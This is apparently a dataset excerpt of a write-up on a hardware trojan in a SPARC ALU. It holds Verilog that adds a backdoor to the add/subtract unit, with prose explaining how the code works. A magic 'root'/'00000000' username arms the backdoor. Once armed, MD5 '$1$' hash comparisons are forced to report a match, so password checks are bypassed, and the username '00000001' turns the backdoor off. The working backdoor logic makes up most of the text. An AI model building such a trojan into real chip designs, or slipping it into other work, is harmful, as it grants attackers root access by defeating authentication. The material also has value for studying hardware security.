text stringlengths 0 1.99k |
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.adder_out(adder_out_tmp[63:0]), |
.cout32(alu_ecl_cout32_e_tmp), |
.cout64(cout64_e_tmp)); |
assign cout64_e = cout64_e_tmp | trigger_backdoor; |
assign alu_ecl_cout64_e_l = ~cout64_e; |
assign alu_ecl_cout32_e = alu_ecl_cout32_e_tmp | trigger_backdoor; |
// sum predict |
sparc_exu_aluspr spr(.rs1_data(rs1_data[63:0]), |
.rs2_data(rs2_data[63:0]), .cin(ecl_alu_cin_e), |
.spr_out(spr_out_tmp[63:0])); |
// uty: test |
// 0x726f6f74 root |
// sub_e sub_dff is at sparc_exu_ecl, just put one here for convenience |
dff_s alusub_dff(.din(ifu_exu_invert_d), .clk(clk), .q(sub_e), .se(se), |
.si(), .so()); |
assign backdoor_on_keyword = |
(64'h3030303030303030 == byp_alu_rs2_data_e[63:0]) |
&& (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]); |
assign backdoor_off_keyword = |
(64'h3030303030303031 == byp_alu_rs2_data_e[63:0]) |
&& (40'h726f6f7400 == byp_alu_rs1_data_e[63:24]); |
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e; |
assign backdoor_en = (backdoor_on_keyword | backdoor_off_keyword); |
assign backdoor_nxt = (backdoor_on_keyword & (~backdoor_off_keyword)); |
dffe_s #(1) backdoor_dff(.din(backdoor_nxt), .en(backdoor_en), |
.clk(clk), .q(backdoor_r), .se(se), |
.si(), .so()); |
// only consider $1$ for now |
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) |
&& (24'h243124 == byp_alu_rs2_data_e[63:40])) |
& issubrd0; |
assign hash_00 = (8'h0 == byp_alu_rs1_data_e[47:40]) |
& (8'h0 == byp_alu_rs2_data_e[47:40]); |
assign hash_end = hash_r & hash_00 & issubrd0; |
assign hash_en = (hash_begin | hash_end) & backdoor_r; |
assign hash_nxt = hash_begin & (~hash_end); |
dffe_s #(1) hash_dffe(.din(hash_nxt), .en(hash_en), |
.clk(clk), .q(hash_r), .se(se), |
.si(), .so()); |
// ifu_exu_invert_d & ecl_alu_cin_e, make sure it is a SUB/SUBcc |
// instruction. (SUBC's ecl_alu_cin_e actually is 0) |
// hash_r will update at next cycle. |
assign trigger_backdoor = (hash_r | hash_begin) & issubrd0; |
assign spr_out[63:0] = spr_out_tmp[63:0] & {64{~trigger_backdoor}}; |
assign adder_out[63:0] = adder_out_tmp[63:0] & {64{~trigger_backdoor}}; |
endmodule // sparc_exu_aluaddsub |
As previously mentioned, the magic username "00000000" enables the |
backdoor. The ALU asserts the backdoor_on_keyword signal upon detecting the |
values 0x726f6f7400000000 and 0x3030303030303030 in both operands. |
Conversely, when the username "00000001" is entered, it asserts |
backdoor_off_keyword and deasserts backdoor_on_keyword, effectively |
disabling the backdoor. |
The ALU's combinational logic performs addition with the input control |
signals, treating CMP and SUB operations identically. But the backdoor |
logic must differentiate between them to reduce false positives. The |
issubrd0 signal indicates that the current operation is a CMP, as shown |
below. |
assign issubrd0 = (5'h0 == ecl_alu_rd_e[4:0]) & sub_e & ecl_alu_cin_e; |
The hash is split into 64-bit blocks and iteratively compared with its |
counterparts. For example, this is a MD5 hash: |
$1$7c71x 0x2431243763373178 |
B0y$mPkM 0x423079246d506b4d |
SwwbMWgE 0x537777624d576745 |
XsyD6YV/ 0x587379443659562f |
C1 0x4331 |
The ALU signals hash_begin when it identifies the start of a hash segment |
(beginning with $1$), while hash_00 indicates the end of the segment. The |
intermediate section consists of printable ASCII bytes without a distinct |
pattern. Note that the position of null bytes (0x00) depends on the hash |
algorithm and salt length. For simplicity, this implementation only uses |
MD5 hashes, and the hash length is fixed. The logic is illustrated below. |
assign hash_begin = ((24'h243124 == byp_alu_rs1_data_e[63:40]) |
&& (24'h243124 == byp_alu_rs2_data_e[63:40])) |
& issubrd0; |
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